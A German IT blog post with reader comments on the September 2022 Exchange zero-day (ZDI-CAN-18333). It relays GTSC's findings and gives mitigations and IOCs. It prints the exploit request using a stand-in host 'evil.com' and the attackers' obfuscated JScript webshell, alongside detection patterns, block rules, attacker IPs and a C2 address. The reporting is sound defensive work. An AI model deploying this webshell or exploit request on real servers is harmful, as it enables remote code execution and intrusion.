Exchange Server werden über 0-day Exploit angegriffen (29. Sept. 2022)

Exchange Logo[English]Unschöner Sachverhalt für Administratoren und Betreiber einer On-Premises Microsoft Exchange-Server-Installation. Es gibt Berichte, dass ein neuer Zero-Day in Microsoft Exchange existiert, der aktiv in freier Wildbahn ausgenutzt wird. Sicherheitsforscher bestätigen, dass einige Installationen – einschließlich eines Honeypots – bereits infiziert sind. Details zum Zero-Day liegen noch nicht vor. Hier ein Überblick, was mir bisher bekannt ist und was man ggf. unternehmen kann, um Angriffe zu entdecken. Ergänzung: Microsoft hat einige Informationen veröffentlicht, die ich in einem Folgebeitrag zusammen gefasst habe.


Anzeige

Ich bin vor wenigen Minuten über Twitter auf den Sachverhalt gestoßen. Sicherheitsforscher Kevin Beaumont warnt vor einer potentiellen Gefahr, die Exchange Servern durch einen Zero-Day-Exploit droht. Parallel traf bereits eine Mail von von Blog-Leser Marco D. ein (danke dafür), der mich folgendermaßen über den Sachverhalt informierte:

Das habe ich eben auf Twitter entdeckt, ein Zero Day Exploit für Exchange:

Exchange 0day exploit in wild

Ich kenne die verlinkte vietnamesische Seite nicht, aber der Inhalt schien mir schlüssig, zumal auch die ZDI-Einträge existieren.

Erste Meldung von GTSC

Der Artikel WARNING: NEW ATTACK CAMPAIGN UTILIZED A NEW 0-DAY RCE VULNERABILITY ON MICROSOFT EXCHANGE SERVER eines Autors aus Vietnam scheint die erste Quelle zu sein, die das Problem beschreibt. Das Sicherheitsteam des vietnamesischen Cybersicherheitsunternehmen GTSC entdeckte Anfang August 2022 im Rahmen von Sicherheitsüberwachungs- und Incident-Response-Tätigkeiten, dass eine kritische Infrastruktur angegriffen wurde. Betroffen waren Microsoft Exchange Server der betreffenden Organisationen.

Während der Untersuchung stellten die Experten des Blue Teams von GTSC fest, dass der Angriff eine unveröffentlichte Exchange-Sicherheitslücke, d.h. eine 0-Day-Schwachstelle, ausnutzte. Das Team erstellte unverzüglich einen Plan für Gegenmaßnahmen, um die Angriffe zu stoppen. Gleichzeitig begann das GTSC Red Teams damit, den dekompilierten Code von Exchange zu untersuchen und zu debuggen, um die Sicherheitslücke und den Exploit-Code zu finden.

Es wurde eine bisher unbekannte Schwachstelle (Zero-Day) gefunden, die sich als so kritisch erwies, dass sie Angreifer eine Remote Code Execution (RCE) auf dem kompromittierten Zielsystem ermöglicht. GTSC meldete die Schwachstelle sofort an die Zero Day Initiative (ZDI), um mit Microsoft zusammenzuarbeiten. Ziel war es, schnellstmöglich einen Patch zu erstellen. Die Zero Day Initiative (ZDI) hat 2 Fehler mit den CVSS-Scores 8.8 und 6.3 in Bezug auf den Exploit verifiziert und bestätigt.

  • ZDI-CAN-18333 CVSS 8.8
  • ZDI-CAN-18802 CVSS 6.3

Die Sicherheitsforscher von GTSC stellte fest, dass auch andere Kunden von einem ähnlichen Problem betroffen sind. Nach Tests konnten bestätigt werden, dass diese Systeme über diese 0-Day-Schwachstelle angegriffen wurden.

Sicherheitsforscher bestätigen die Angriffe

Mit waren die Tweets von Sicherheitsforscher Kevin Beaumont aufgefallen, der auf Twitter bestätigt, dass einige Installationen – einschließlich eines Honeypots – bereits infiziert sind.

Exchang 0-day (Sept 2022)


Anzeige

Bisher gibt es keinen Patch zum Schließen der Schwachstelle von Microsoft – und es sieht auch nicht so aus, als ob Microsoft Kunden über das Problem informiert habe.

Details des Angriffs

Im Rahmen der Bereitstellung von Dienstleistungen im Security Operations Center (SOC) für einen Kunden entdeckte das GTSC Blueteam Exploit-Anfragen in IIS-Protokollen mit dem gleichen Format wie die lange bekannte ProxyShell-Schwachstelle. Kevin Beaumont schreibt hier, dass die Angreifer vorgeben, ein Exchange EWS zu sein, um eine Hintertür einzurichten. Der Angriff erfolgt über folgenden Request:

autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com

Der obige Link wird verwendet, um auf eine Komponente im Backend zuzugreifen, in der dann der Remote Code Exploit (RCE) implementiert werden könnte. Die Angreifer bedienen sich, laut GTSC, verschiedener Techniken, um Hintertüren in das betroffene Exchange-System einzubauen und sich dann lateral im Netzwerk zu anderen Servern im System zu bewegen.

Bei den Untersuchungen entdeckten die Sicherheitsforscher Webshells, die meist versteckt auf den infizierten Exchange-Servern angelegt wurden. Anhand des User-Agents konnte das Team von GTSC feststellen, dass der Angreifer Antsword verwendet. Dies ist ein aktives, von Chinas Hackern genutztes, plattformübergreifendes Open-Source-Website-Verwaltungstool, das die Verwaltung von Webshells unterstützt. Hier ein JScript dazu:

<%@Page Language="Jscript"%>
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NTcyM'
+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+
System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('MQ=='))
+char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)
+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('Wg=='))
+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'
+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>

Das Sicherheitsteam vermutet, dass diese Backdoors von einer chinesischen Angriffsgruppe stammen, da die Webshell Codepage 936 verwendet, eine Microsoft-Zeichenkodierung für vereinfachtes Chinesisch. Ein weiteres bemerkenswertes Merkmal sei, so die Sicherheitsforscher, dass der Hacker auch den Inhalt der Datei RedirSuiteServiceProxy.aspx für die Webshell modifizieren. RedirSuiteServiceProxy.aspx ist ein legitimer Dateiname, der auf dem Exchange-Server verfügbar ist.

FileName Path
RedirSuiteServiceProxy.aspx C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
Xml.ashx C:\inetpub\wwwroot\aspnet_client
pxh4HG1v.ashx C:\ProgramFiles\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

Obwohl im Exploit Angriffstechniken eingesetzt wurden, die auch für die früher bekannte ProxyShell-Schwachstelle verwendet wurden, ergab die Überprüfung der infizierten Exchange-Server, dass dort das letzte Exchange Update bereits installiert war. Eine Ausnutzung der Proxyshell-Schwachstelle war also unmöglich. Die Blueteam-Analysten von GTSC bestätigen, dass es sich um eine neue 0-Day-RCE-Schwachstelle handelt. Details zur Vorgehensweise beim Angriff und weitere Erkenntnisse der Analyse werden hier offen gelegt.

Workarounds zum Abschwächen der Schwachstelle

Die GTSC-Sicherheitsforscher schlagen in ihrem Artikel Maßnahmen vor, um die Ausnutzbarkeit der 0-day-Schwachstelle in vollständig gepatchten Exchange Servern zu verhindern. Zur Blockade von Angriffsversuchen ist eine neue URL Rewrite-Regel im IIS-Server hinzuzufügen:

  • Wählen Sie im FrontEnd in Autodiscover die Registerkarte URL Rewrite und dann Request Blocking
  • Fügen Sie die Zeichenfolge ".*autodiscover\.json.*\@.*Powershell.*" zum URL-Pfad hinzu
  • Als Bedingung ist {REQUEST_URI} zu wählen

Im Artikel finden sich entsprechende Screenshots. Die Sicherheitsforscher empfehlen allen  Organisationen/Unternehmen, die Microsoft Exchange Server verwenden, die oben genannten temporären Abhilfemaßnahmen schnellstmöglich anzuwenden, um potenzielle Angriffe zu verhindern.

Prüfung auf Kompromittierung

Um zu überprüfen, ob ein Exchange Server bereits von einem Angriff betroffen ist, hat GTSC einen Leitfaden und ein Tool zum Scannen von IIS-Protokolldateien veröffentlicht (standardmäßig im Ordner %SystemDrive%\inetpub\logs\LogFiles gespeichert):

Methode 1: Verwenden Sie den Powershell-Befehl:

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\.json.*\@.*200'

Ergänzung: Auf Facebook hat mich ein Administrator darauf hingewiesen, dass er einige Anpassungen am PowerShell-Befehl vornehmen musste. Hier seine Kommentare:

Bezüglich des PS-Befehls für die Logfiles zu durchsuchen: Ich hab mir testweise mal ein eigenes Logfile angelegt mit dem entsprechenden Pattern:

'powershell.*autodiscover\.json.*\@.*200'

auf unserem 2016ner (deutsche Sprache) findet er das Pattern nicht und gibt somit auch keine Ergebnisse zurück und es sieht aus als wäre alles in Ordnung.

Wenn man das Pattern dann kürzt auf nur 'powershell.*autodiscover' findet er auch die Ergebnisse. Getestet mit PS x86 & x64.

und ergänzte dann:

Hab eben noch etwas rumgespielt. Am Ende des PS-Befehls muss noch ein "-SimpleMatch" ansonsten erkennt er den ersten "\" in dem Pattern als Regular Expressions, erkennt somit das Pattern nicht richtig und gibt keine Ergebnisse zurück.

Ansonsten kann man die beiden "\" durch zwei "\\" ersetzen somit wird der Backslash als tatsächlicher Backslash erkannt.

Nachfolgender PowerShell-Befehl verwendet die \\

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\\.json.*\\@.*200'

und funktioniert als Befehl bei dem betreffenden Administrator (siehe auch folgenden Screenshot).

Check with PowerShell
Zum Vergrößern klicken

Methode 2: Verwenden Sie das vom GTSC entwickelte Tool.

Auf der Grundlage der Exploit-Signatur haben die GTSC-Leute ein Tool erstellt, das eine viel kürzere Suchzeit als die Powershell benötigt. Das Tool lässt sich auf GitHub herunterladen. Im Im Artikel haben die Sicherheitsforscher von GTSC noch einige Indicators of Compromise (IOCs) angegeben, über die eine Infektion erkennbar ist:

Webshell:

File Name: pxh4HG1v.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: Xml.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: Xml.ashx

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx

DLL:

File name: Dll.dll

SHA256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

File name: 180000000.dll (Dump từ tiến trình Svchost.exe)

SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e

IP:

125[.]212[.]220[.]48

5[.]180[.]61[.]17

47[.]242[.]39[.]92

61[.]244[.]94[.]85

86[.]48[.]6[.]69

86[.]48[.]12[.]64

94[.]140[.]8[.]48

94[.]140[.]8[.]113

103[.]9[.]76[.]208

103[.]9[.]76[.]211

104[.]244[.]79[.]6

112[.]118[.]48[.]186

122[.]155[.]174[.]188

125[.]212[.]241[.]134

185[.]220[.]101[.]182

194[.]150[.]167[.]88

212[.]119[.]34[.]11

URL:

hxxp://206[.]188[.]196[.]77:8080/themes.aspx

C2:

137[.]184[.]67[.]33

Microsoft reagiert

Ergänzung: Microsoft hat inzwischen reagiert und einige Informationen bereitgestellt. Ich habe das Ganze im Blog-Beitrag Microsofts Empfehlungen für die Exchange Server 0-day-Schwachstelle ZDI-CAN-18333 zusammen gefasst. Dort geht auch hervor, welche Exchange-Varianten betroffen sind und warum bei Exchange Online eher keine erfolgreichen Angriffe drohen. Danke an die Blog-Leser für die zahlreichen Hinweise und Links auf inzwischen erschienene Artikel.

Artikelreihe:
Exchange Server werden über 0-day Exploit angegriffen (29. Sept. 2022)
Microsofts Empfehlungen für die Exchange Server 0-day-Schwachstelle ZDI-CAN-18333
Neues zur Exchange Server 0-day-Schwachstelle ZDI-CAN-18333: Korrekturen, Scripte und EMS-Lösung
Exchange Server: Microsofts 0-day-Schutz aushebelbar, neue Einschätzungen (3. Oktober 2022)
Exchange Server: Microsofts bessert Lösungen für 0-day-Schutz nach (5. Oktober 2022)
Exchange Server: Microsofts bessert Lösungen für 0-day-Schutz nach (8. Oktober 2022)

Ähnliche Artikel:
Exchange Server Sicherheitsupdates (9. August 2022)
Probleme mit Exchange März 2022-Updates
Exchange Update-Fehler und -Infos (13. April 2021)
Exchange-Probleme mit ECP/OWA-Suche nach Sicherheitsupdate (März 2021)
Exchange 2016/2019: Outlook-Probleme durch AMSI-Integration
Exchange Server September 2021 CU kommt zum 28.9.2021 mit Microsoft Exchange Emergency Mitigation Service
Exchange Server 2016-2019: Benutzerdefinierte Attribute in ECP nach CU-Installation (Juli 2021) nicht mehr aktualisierbar
Exchange: Extended Protection, Checkliste und Probleme
Update für Exchange Extended Protection-Script, aber weiterhin Fehler
Exchange Health Checker – Script-Erweiterungen von Frank Zöchling


Cookies blockieren entzieht uns die Finanzierung: Cookie-Einstellungen

Dieser Beitrag wurde unter Sicherheit, Software, Windows Server abgelegt und mit , verschlagwortet. Setze ein Lesezeichen auf den Permalink.

82 Antworten zu Exchange Server werden über 0-day Exploit angegriffen (29. Sept. 2022)

  1. Carsten sagt:

    Wieder die alte Frage: Betrifft das vorallem Exchange direkt am Internet oder auch wenn er nur per VPN zugänglich ist? Mir ist klar, dass 0day gleich 0day ist. Mir geht es hier eher um das Thema Dringlichkeit. Ich werde die Mitigationen trotzdem umsetzen.

  2. Roman sagt:

    Wenn die IIS Ports nicht direkt aus dem Internet erreichbar ind wüsste ich nicht wie man den Exploit verwenden könnte

  3. Michael sagt:

    Sollte in Deutsch so aussehen.

    Exchange Einträge

  4. Franz sagt:

    Vielen Dank Herr Born für die tolle Arbeit die Sie mit ihrem Blog leisten.
    CERT-Bund hat leider noch nicht gemeldet.

    • Günter Born sagt:

      Ich muss die Leute von CERT-Bund da in Schutz nehmen – als ich den Beitrag kurz nach Mitternacht erstellt habe, waren die Meldungen von Kevin Beaumont gerade einmal ein paar Minuten alt. Irgendwann müssen die Leute von CERT-Bund auch mal schlafen (Blogger schlafen nie ;-) … und lassen im Zweifelsfall eine Katze nachts über die Tastatur rennen). Zudem müssen die Leute die verfügbaren Informationen lesen und durchdringen – ich habe da ca. 1 Stunde gebraucht, um halbwegs den Überblick zu haben, um was es im Artikel ging und was sonst so an Bestätigungen vorlag.

  5. Tobi sagt:

    Hallo zusammen,

    wir kann das Tool von der GitHub Seite benutzt werden?

  6. Blubmann sagt:

    Da gab es doch mal was von Microsoft dieses Exchange Emergency Mitigation. Habe gedacht genau bei solchen Fällen sollte das aktiv werden. Aber bisher bei 4 Kunden noch keine automatische Rewriteregel gefunden, obwohl Exchange 2019 und 2016 jeweils auf aktuellem Stand. Also so ganz scheint mir das nicht zu fruchten

    • Carsten sagt:

      So ein Eingreifen passiert nur, wenn es absolut notwendig ist. Das wurde von Microsoft damals auch so kommuniziert. Bislang ist der 0day von denen noch nicht mal offiziell anerkannt, also sehe ich da kein unerwartetes Verhalten mMn.

  7. Dabinaw sagt:

    Kann das IIS Rewrite Modul bedenkenlos auf einen Exchngne Server 2013 im laufenden Betrieb installiert werden?

  8. Roman sagt:

    Ich frag mich ja 2 Dinge
    1) Warum kann man nicht endlich jegliche RCE per Design nur von Whitelisted IPs zulassen? Das war mMn noch nie von extern für irgendeine Funktion notwendig.
    2) Warum ist OnlineExchange nie von solchen Exploits betroffen?

    Bis jetzt alle EX16 und EX19 in den Logs sauber.

    • Carsten sagt:

      Zu 2)

      Weil Microsoft selber entscheidet von was Exchange Online betroffen ist und was nicht. Nennt sich auch Geschäftsmodell. Die Cloud Lizenzen müssen doch weiterhin als heiliger Grad verkauft werden ;)

  9. Andy sagt:

    Danke für die freitagmorgendliche Berichterstattung, die mir mal ganz klar das Wochenende rettet.

  10. Stephan Hübner sagt:

    Ist Exchange 2013 betroffen? Dort finde ich kein Rewrite Modul.

  11. jojo sagt:

    Hallo Leute,

    Wenn bei Methode 1 kein Ergebnis rauskommt. Dann bin ich safe. Richtig?

    • Andy sagt:

      Wenn bei Methode 1 kein Ergebnis rauskommt, dann wurde in den Logfiles kein Aufruf gefunden, der dem Angriffsmuster entspricht, das bei der Mitigation geblockt werden soll.
      Die Mitigation selbst muss schon noch durchgeführt werden. (zuerst die, dann die Log-Suche)
      Und letztlich ist das alles Stand heute. Ich würds dann noch im Auge behalten.

  12. Jürgen sagt:

    Ich denke mal, dass sich auch Kevin noch nicht im Klaren ist, ob es sich wirklich um einen "neuen" 0-Day handelt.

    ZDI-CAN-18333 aka ProxyNotShell— the story of the claimed zero day in Microsoft Exchange

    "….I can't say for sure it's a zero day, with the information provided — it looks more ProxyShell to me…."

    Zwar sind offenbar die gefundenen Backdoors auf den Server neu, allerdings dürfte der Weg dort hin vielleicht über eine nicht gepatchte ProxyShell-Lücke geführt haben. Die empfohlenen Mitigations von GTSC gleichen denen aus dem Jahr 2021, welche via ProxyShell Patch behoben sein sollten. Wird nichts anderes übrigbleiben, als auf Kommentare von MS zu warten…

    …und da ist dieser auch schon: Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server

  13. Gero sagt:

    Das wäre jetzt doch genau das Szenario wofür Exchange Emergency Mitigation entwickelt und eingeführt wurde.

    Und jetzt doch wieder manueller Eingriff nötig.
    Bzw. erstmal müssen es die Admins überhaupt mitbekommen. Folgt bestimmt nicht jeder Kevin auf Twitter oder verbringt täglich eine gewisse Zeit mit einschlägigen News.

    Verstehe ich nicht warum MS da jetzt nicht endlich Mal richtig reagiert….

  14. Robert sagt:

    Schaut Euch mal bitte den Bericht von MS an: https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/

    Es gibt da EINEN UNTERSCHIED zu dem Artikel aus Vietnam:

    Microsoft fügt die Regel mit Platzhalter (engl. Wildcard) hinzu und die Vietnamesen mit Reg. Expression (ich rede nicht von der 2. Zeile, die dann editiert werden muss), da steht reg. Expr. drinnen!

    Bei MS ist dann in der ERSTEN ZEILE der Blocking Rule UNTER PATTERN ein * und bei den Vitnamesen ist da ein .*

    WAS ist denn nun richtig?? Hat MS mehr Ahnung von den Blocking Rules oder die Vietnamesen??

    • MikeHeisenberg sagt:

      Gute Frage, das ist mir auch schon aufgefallen. Ich habe beide Regeln hinzugefügt.

    • RogerH sagt:

      Genau das fragen wir uns auch, schade, dass MS weder in der Community, noch im Blogpost bisher auf diese Fragen reagiert hat, ich habe nun mal beide Varianten eingepflegt und hoffe, dass das nicht zu unerwarteten Problemen führt.

    • Andy sagt:

      Soweit ich das überschauen kann, ist die Regel mit regulären Ausdrücken richtig und greift mit Wildcards nicht.

    • Günter Born sagt:

      Ich bin kein Crack in regulären Ausdrücken – habe selten damit gearbeitet. Aber ich habe in meinem Folgebeitrag Microsofts Empfehlungen für die Exchange Server 0-day-Schwachstelle ZDI-CAN-18333 was dazu geschrieben. Meiner Ansicht nach hat man bei Microsoft den Punkt schlicht vergessen – um X-beliebige Zeichen zu finden, müsste das Pattern .* lauten.

      • Lutz sagt:

        Wenn man die Regel mit dem Assistenten anlegt, ist das erste .* automatisch drin wenn man Regulärer Ausdruck auswählt. Wählt man Platzhalter aus ist * drin und auch korrekt. Im ersten Teil wird auf alles gematched was auf /Autodiscover/ geht. Erst der zweite Teil sucht nochmal genauer nach dem kompletten Muster.

    • D sagt:

      Also laut kurzer Online-Recherche ist bei Platzhalterregeln nur der Platzhalter * ein reserviertes Zeichen (https://blogs.iis.net/danielvl/url-rewrite-for-iis-7-0-regular-expressions-and-wildcards). D. h. die Punkte in der Regel würden einfach nur als Punkte interpretiert, was so von den Verfassern des Patterns nicht vorgesehen sein kann (sonst wäre der Punkt vor "json", der auch wirklich ein Punkt sein soll, wohl kaum escaped).
      Meiner Meinung nach hat MS bei den Screenshots geschlampt und den Default ("Platzhalter") versehentlich belassen.

      • Günter Born sagt:

        Bist Du dir wirklich sicher? Frag für einen Freund ;-). Daniel schreibt:

        In Regex ist "." reserviert und bedeutet "beliebiges Zeichen", so dass "default.aspx$" auch auf "defaultXaspx" passt. Escape es zu "default\.aspx$". Wildcards haben dieses Verhalten nicht, das einzige reservierte Zeichen ist '*'.

        In diesem Artikel ist das .* eigentlich dediziert erklärt – oder habe ich was falsch interpretiert?

        • D sagt:

          Ja, mit "Platzhalterregeln" meine ich halt auch nur die Regeln mit Platzhalter/Wildcard (d. h. nicht RegEx) und dort ist offenbar "." nicht reserviert, weshalb die MS-Variante eine komplett andere Bedeutung hat. Ich schließe nur aus, dass die MS-Variante korrekt ist. Als RegEx wird es meiner Meinung nach einwandfrei funktionieren.

          Oder schreiben wir grade komplett aneinander vorbei?^^

          • Günter Born sagt:

            Ok, habe ich jetzt verstanden – d.h. es muss vom Admin in Exchange ausprobiert werden, ob der * als Wildcard oder der .* als RegEx-Ausdruck definiert wird.

          • D sagt:

            Jein, ich würde einfach den RegEx-Ausdruck, der sowohl bei MS als auch bei den Entdeckern steht als RegEx-Regel verwenden. Ich bin mir mittlerweile (habe in der Mittagspause mal nebenher in Ruhe drüber nachgedacht) zu 99% sicher, dass MS einen Fehler gemacht hat, weil das RegEx-Muster ".*autodiscover.json.*@.*Powershell.*" mit Wildcard doch nur matchen würde, wenn die REQUEST_URI z. B. mit einem Punkt beginnen würde (oder auch hinter "autodiscover" ein Backslash vorkommen würde, weil diese Zeichen ja im Wildcard-Modus offenbar keine besondere Bedeutung haben), was so nie der Fall sein wird.

            Ich habe bei mir die Regel auch mit der von Martin geposteten URL ) erfolgreich testen können, bekomme also den Code 403, der so auch in der Regel definiert ist.

    • D sagt:

      Nachtrag:
      Also als RegEx sollte das Pattern funktionieren und als Platzhalter wohl höchstens zufällig.

      Oh, grade noch gesehen, dass es noch um die erste Zeile geht.
      Die sollte ja standardmäßig korrekt sein, da hierzu von beiden Seiten keine Anmerkungen gemacht wurden.

  15. Jonas92 sagt:

    Laut dem MS-Artikel ist für die Ausführung beider Schwachstellen (zum Glück) authentifizierter Zugriff erforderlich ist. Sprich, gültige Zugangsdaten eines Benutzers müssen dem Angreifer bekannt sein:
    "Es sollte beachtet werden, dass authentifizierter Zugriff auf den anfälligen Exchange Server erforderlich ist, um eine der beiden Sicherheitsanfälligkeiten erfolgreich auszunutzen."

    Dies senkt geringfügig den Puls.
    Trotzdem ist die von MS/hier gezeigte Rule gesetzt im IIS.

    • Günter Born sagt:

      Als Pulssenker ok – aber wie viele Credentials wurden in den letzten Monaten wohl erbeutet? Ist der eigene Exchange dabei? Fragen über Fragen.

      Bzgl. der MS-Rule – beachte die obige Diskussion zum korrekten Pattern.

  16. Debitor sagt:

    Hm, wenn ich die URL Rewrite-Regel im IIS-Server setze, bekommen ich in Outlook ein O365 Anmeldefenster. Server + Client wurden auch schon neu gestartet. Ich verwende Exchange 2016 und Outlook 2016/2019. Wenn ich die Regel entferne, funktioniert alles wieder.

  17. Mr. Bit sagt:

    Moin,

    ich habe gerade alle Kunden Exchange Server geprüft, soweit alles sauber. Von aussen werden die Server per Reverse Proxy abgesichert (pound bzw Sophos UTM), dort habe ich die Autodiscover Pfade entfernt, intern per ReWrite Rule die IIS angepasst.
    Nun heißt es mal wieder warten, hoffen und eventuell beten.

    Mr. Bit

  18. Paul K. sagt:

    Moin, wie schaut es eigentlich aus wenn das URL Rewrite Modul gar nicht erst installiert ist?

  19. fxbastler sagt:

    setzt eine Regel automatisch (löscht die vorher falls vorhanden)

    $site = "iis:\sites\Default Web Site\Autodiscover"
    $filterRoot1 = "system.webServer/rewrite/rules/rule[@name='BlockBadAutodiscoverJSON1$_']"
    Clear-WebConfiguration -pspath $site -filter $filterRoot1
    Add-WebConfigurationProperty -pspath $site -filter "system.webServer/rewrite/rules" -name "." -value @{name='BlockBadAutodiscoverJSON1'+ $_ ;patternSyntax='Regular Expressions'; stopProcessing='True' ; enabled='True'; httpResponseStatus="Permanent"}
    Set-WebConfigurationProperty -PSPath $site -filter "$filterRoot1/match" -name 'url' -value ".*"
    Set-WebConfigurationProperty -PSPath $site -filter "$filterRoot1/conditions" -name '.' -value @{input='{REQUEST_URI}'; matchType='0'; pattern='.*autodiscover\.json.*\@.*Powershell.*'; ignoreCase='True'; negate='False'}
    Set-WebConfigurationProperty -pspath $site -filter "$filterRoot1/action" -name "type" -value 'CustomResponse'
    Set-WebConfigurationProperty -pspath $site -filter "$filterRoot1/action" -name "statuscode" -value 403

  20. fxbastler sagt:

    setzt die zweite Regel (bei Bedarf, löscht die vorher wenn vorhanden)

    $site = "iis:\sites\Default Web Site\Autodiscover"
    $filterRoot2 = "system.webServer/rewrite/rules/rule[@name='BlockBadAutodiscoverJSON2$_']"
    Clear-WebConfiguration -pspath $site -filter $filterRoot2
    Add-WebConfigurationProperty -pspath $site -filter "system.webServer/rewrite/rules" -name "." -value @{name='BlockBadAutodiscoverJSON2'+ $_ ;patternSyntax='Wildcard'; stopProcessing='True' ; enabled='True'; httpResponseStatus="Permanent"}
    Set-WebConfigurationProperty -PSPath $site -filter "$filterRoot2/match" -name 'url' -value "*"
    Set-WebConfigurationProperty -PSPath $site -filter "$filterRoot2/conditions" -name '.' -value @{input='{REQUEST_URI}'; matchType='0'; pattern='.*autodiscover\.json.*\@.*Powershell.*'; ignoreCase='True'; negate='False'}
    Set-WebConfigurationProperty -pspath $site -filter "$filterRoot2/action" -name "type" -value 'CustomResponse'
    Set-WebConfigurationProperty -pspath $site -filter "$filterRoot2/action" -name "statuscode" -value 403

  21. Tobias sagt:

    Kann zufällig jemand erklären wie man das von GTSC entwickelte Tool startet? :-)

  22. Exchange User sagt:

    Tolle AFD und Hetze Werbung hier. Ohne Cookies besuche ich diese Seite lieber nicht mehr.

    Die Infos sind top, aber das Werbenetzwerk sollte mal gewechselt werden…

    • Günter Born sagt:

      Schicke mir bitte einen Screenshot zu (Mail-Adresse im Impressum) – möglichst mit den URLs. Das "Werbenetzwerk" wird durch Google eingebunden – Werbung wird zudem anhand der bereits gesetzten Cookies ausgespielt.

      Ich kann nur dann bestimmte URLs und Werbende sperren lassen, wenn ich die Details kenne. Die Aufforderung gilt übrigens auch für ander Blog-Leser.

  23. iOps sagt:

    Alle die EMS aktiviert haben, bekommen jetzt die URL-Rewrite Regel direkt von Microsoft. (die händisch erstellte Regel kann jetzt wieder gelöscht werden)

    https://imgur.com/a/JPuQRbs

    und hier kann man noch alle bis jetzt veröffentlichten Mitigations einsehen:

    https://officeclient.microsoft.com/getexchangemitigations

    Gruß iOps

    • Roger H sagt:

      Unsere Exchange Server haben das Update nicht erhalten.
      Auf beiden Servern meldet das PS-Script "Test-MitigationServiceConnectivity.ps1": "Message: The Mitigation Service endpoint is accessible from this computer."

      Wenn ich dann aber mit dem PS-Script "Get-Mitigations.ps1" die Mitigations auf den Server prüfe heisst es:

      Auf Exchange Server 1 (Exchange 2016 aktuelles CU und voll gepatcht):

      "WARNING: Connection with Mitigation Endpoint was not successfull. To enable connectivity please refer: https://aka.ms/HelpConnectivityEEMS"
      Es werden keine Mitigations angezeigt.

      Auf Exchange Server 2 (Exchange 2019 aktuelles CU und voll gepatcht):

      "WARNING: Type and Description fields are empty as connection with Mitigation Endpoint was not successful. To enable connectivity please refer : https://aka.ms/HelpConnectivityEEMS"
      Hier wird aber zumindest die Test-Mitigation "PING1" als Applied aufgeführt,

      Der Zugriff ausgehend auf "officeclient.microsoft.com" ist gewährleistet und funktioniert von beiden Servern aus, sonst würde ja "Test-MitigationServiceConnectivity.ps1" einen Fehler melden.
      offensichtlich braucht es also ausgehenden noch Zugriff auf weitere Hosts/Domains, nur finde ich bei Microsoft null Informationen hierzu.

      Weiss jemand, was alles erreichbar sein muss, damit der EEMS sauber funktioniert?

  24. Roger H sagt:

    Hab grade mal bei Servern geschaut, und ja, es gibt im Event Log mehrere Einträge mit der ID 1008 vom MSExchange Mitigation Service:

    Exception encountered while fetching mitigations : System.AggregateException: One or more errors occurred. —> System.Net.Http.HttpRequestException: An error occurred while sending the request. —> System.Net.WebException: The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel. —> System.Security.Authentication.AuthenticationException: The remote certificate is invalid according to the validation procedure.

    Heisst das jetzt, das bei MS was mit dem Zertifikat nicht stimmt, oder auf unserer Seite?

    • Roger H sagt:

      Ich habe mal aufgrund deiner Frage und den bei unseren Server vorhanden EventID 1008 Einträgen etwas gegoogled und es sieht so aus, als könnten unsere Exchange Server die Zertifikatskette der MS Zertifikate nicht validieren, jetzt muss ich nur noch herausfinden, welche Hostnamen wir dazu in den Firewalls freigeben müssen.

  25. Kurt sagt:

    Guten Tag
    Leider bin ich nicht so ein Crack wie wohl die meisten hier.
    Habe mal den Befehl wie oben gelistet auf meinem Exchange 2019 ausgeführt:
    Get-ChildItem -Recurse -Path -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\.json.*\@.*200'

    Oh, da wird mir einiges angezeigt, aber wenn ich dem Datum der Einträge glauben kann, kommt alles aus August 2021???
